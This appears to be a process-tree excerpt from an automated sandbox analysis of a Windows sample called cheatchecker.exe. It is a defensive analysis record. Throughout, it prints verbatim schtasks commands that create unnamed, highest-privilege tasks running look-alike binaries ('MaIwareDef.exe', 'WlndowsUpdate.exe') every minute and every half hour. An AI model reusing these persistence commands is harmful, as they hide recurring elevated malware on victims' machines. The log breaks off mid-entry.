- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  PID:1792
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:5228
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  PID:4828
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
  2⤵
  PID:3708
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:2996
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
  2⤵
  PID:4620
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:4196
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  PID:3512

C:\Users\Admin\AppData\Local\Temp\cheatchecker.exe
C:\Users\Admin\AppData\Local\Temp\cheatchecker.exe
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5232
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    PID:2140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1564
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:1320
- C:\Windows\Sub\MaIwareDef.exe
  "C:\Windows\Sub\MaIwareDef.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:6088
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:5276
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2148
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:4660
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5756
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Scheduled Task/Job: Scheduled Task
      Suspicious behavior: EnumeratesProcesses
      PID:4176
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Scheduled Task/Job: Scheduled Task
      Suspicious behavior: EnumeratesProcesses
      PID:2744
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:4588
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:4816
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:3384
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2040
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:2288
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:3572
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:5292
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:696
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1840
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:4416
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5100
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2840
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2136
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:2412
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3308
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2024
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2464
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:3472
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:4164
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:540
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3256
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:5056
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4480
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2136
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:852
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:2372
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3432
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:6116
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:752
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:5988
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:792
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3236
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:4956
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:1916
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5100
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:5812
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:5292
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:5932
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5896
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:3164
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2336
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:4340
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4884
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:3476
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:2484
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:4956
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:3404
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2020
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2068
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:1192
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:6072
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:1060
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2692
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:6352
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6392
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6400
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:6444
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:6708
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:6784
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6740
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:6808
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:2068
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6332
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6192
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:6368
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:2592
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7232
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:7180
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:7240
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:6168
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6252
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6472
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6744
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:5584
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3324
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6356
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      PID:4564
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:5172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:7344
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:6376
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2848
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:7672
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      PID:2576
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:5508
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6796
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    PID:7684
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:668
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    PID:2900
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5408

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:2888
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3560
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3180
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:3364
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    PID:2372

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:5112
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:252
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4708
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:5176
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3152

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4048
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:3176
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6076
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:1160
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4164

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:3580
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
  2⤵
  PID:1532
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:540
- C:\Windows\system32\cmd.exe
  "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
  2⤵
  PID:2708
- - C:\Windows\System32\schtasks.exe
    schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4820

C:\Windows\Sub\MaIwareDef.exe
"C:\Windows\Sub\MaIwareDef.exe"
1⤵
PID:4968
- C:\Windows\system32\cmd.exe
